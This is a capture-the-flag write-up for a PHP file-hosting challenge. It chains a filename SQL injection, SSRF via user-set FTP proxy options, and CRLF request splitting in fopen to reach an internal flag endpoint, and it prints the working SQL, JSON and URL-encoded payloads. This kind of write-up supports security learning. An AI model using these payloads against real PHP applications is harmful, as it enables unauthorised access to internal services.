m0le24 - ndayFilestorage
Description
S3, min.io, uploadthing... Why do we have to complicate our platforms with all of these when we have some good old well-tested solutions?
Overview
It's a file hosting website composed by 2 services:
- app: The main web application service that handles file uploads and downloads
- ftp: A service running both an FTP server and an HTTP server used for account management
Road to flag
The flag is returned by the webserver running in the 'ftp' service when making a POST request with a specific header:
app.post("/flag", (req, res) => { if (!!req.headers["x-get-flag"]) { res.send(process.env.FLAG || "ptm{REDACTED}"); } else { req.send("nope"); } });
Code review
- SQL Injection
A SQL injection exists in the upload_file
function. The $filename
parameter is directly inserted into the SQL query without any sanitization or parameterization:
$stmt = $database->prepare("INSERT INTO files (owner, filename, size) VALUES (:owner, '$filename', :size)");
This allows an attacker to inject arbitrary SQL code through the filename.
- Server-Side Request Forgery (SSRF)
The application creates an FTP context using user-controlled settings:
$opts = ['ftp' => $_SESSION['settings']]; $context = stream_context_create($opts);
These settings can be manipulated by sending a POST request to '/' with JSON data:
$data = json_decode($_POST['settings'], true); if (!is_array($data)) { \tdie; } $_SESSION['settings'] = $data;
By setting the FTP context options, we can redirect file requests to the FTP service:
{"proxy":"ftp:3000"}
When downloading a file, the application sends a request like:
GET ftp://username:password@ftp/filename HTTP/1.1
Authorization: Basic Mjg0OTJhNTQzYTMwYzdjODoyOTU3ZjJlZTUzYWM3MGQ5
Host: ftp
Connection: close
To obtain the flag, we need to convert this to a POST request and add the required x-get-flag
header.
- CRLF Injection Leading to HTTP Request Splitting
In the upload_file
function, filenames are not properly sanitized before being used in URLs:
$ftp = @fopen("ftp://{$_SESSION['user']}:{$_SESSION['password']}@ftp/$filename", 'w', false, $context);
Local testing reveals that fopen is vulnerable to CRLF injection. For example, using:
$filename = 'flag%20HTTP%2f1.1%0d%0aHost%3a%20ftp%0d%0a%0d%0aPOST%20%2fflag%20HTTP%2f1.1%0d%0aX-Get-Flag%3a%201%0d%0aX%3a%20'
Generates this request:
GET ftp://dcc24aaf6ff28e53:91ce935517f3c9ec@ftp/flag HTTP/1.1
Host: ftp
POST /flag HTTP/1.1
X-Get-Flag: 1
X: HTTP/1.1
Authorization: Basic ZGNjMjRhYWY2ZmYyOGU1Mzo5MWNlOTM1NTE3ZjNjOWVj
Host: ftp
Connection: close
However, there's a catch - filenames containing CRLF characters cannot be directly used because the application verifies file existence in the database:
$filename = $_GET['filename']; $stmt = $database->prepare('SELECT * FROM files WHERE owner = :owner AND filename = :filename'); $stmt->execute([ \t'owner' => $_SESSION['user'], \t'filename' => $filename ]); $file = $stmt->fetch(); if (!$file) { \tdie('<script>window.close()</script>'); }
Exploitation Steps
- First, exploit the SQL injection to create a file with a specially crafted name that includes our CRLF payload:
none',1),(:owner,cast(X'666c616720485454502f312e310d0a486f73743a206674700d0a0d0a504f5354202f666c616720485454502f312e310d0a582d4765742d466c61673a20310d0a583a20' as text),:size);--
This SQL injection creates a file entry where the name is our hex-encoded CRLF payload. The hex string is decoded when inserted into the database.
- Configure the FTP proxy settings to redirect requests:
{"proxy":"ftp:3000"}
- Finally, trigger the exploit by requesting:
GET /?filename=flag%20HTTP%2f1.1%0d%0aHost%3a%20ftp%0d%0a%0d%0aPOST%20%2fflag%20HTTP%2f1.1%0d%0aX-Get-Flag%3a%201%0d%0aX%3a%20
ptm{php_why_d0_y0u_hav3_t0_b3_l1k3_th1s..._--_....}